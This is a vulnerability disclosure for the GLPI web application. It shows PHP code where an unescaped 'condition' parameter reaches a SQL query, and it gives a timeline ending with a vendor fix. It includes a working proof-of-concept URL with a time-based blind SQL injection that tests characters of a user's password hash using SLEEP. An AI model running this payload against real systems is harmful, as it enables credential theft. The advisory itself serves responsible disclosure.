All $_GET values are escaped:
File: inc\includes.php
if (isset($_GET)) {
if (Toolbox::get_magic_quotes_gpc()) {
$_GET = array_map(array('Toolbox', 'stripslashes_deep'), $_GET);
}
$_GET = array_map(array('Toolbox','addslashes_deep'), $_GET);
$_GET = array_map(array('Toolbox', 'clean_cross_side_scripting_deep'), $_GET);
}
But in one place slashes are removed from $_GET['condition']:
File: ajax\getDropdownValue.php
if (isset($_GET['condition']) && !empty($_GET['condition'])) {
$_GET['condition'] = rawurldecode(stripslashes($_GET['condition']));
}
if (isset($_GET['condition']) && ($_GET['condition'] != '')) {
$where .= " AND ".$_GET['condition']." ";
}
$query = "SELECT `$table`.* $addselect
FROM `$table`
$addjoin
$where
ORDER BY $add_order `$table`.`completename`
$LIMIT";
if ($result = $DB->query($query)) {
}
$query is multiline statement so we cannot control ORDER BY.
That's the reason why we cannot use UNION statement.
But we can use subquery.
Proof of Concept
Login (user type doesn't matter) then:
http://glpi-url/ajax/getDropdownValue.php?itemtype=group&condition=1 AND id = (SELECT IF(substr(password,1,1) = CHAR(36), SLEEP(5), 0) FROM `glpi_users` WHERE ID = 2)
glpi_groups must have at least one record in order to work.
This SQL will check if first password character user ID=2 is "$".
If yes, it will sleep 5 seconds.
Timeline
- 28-11-2014: Discovered
- 28-11-2014: Vendor notified
- 11-12-2014: Version 0.85.1 released, issue resolved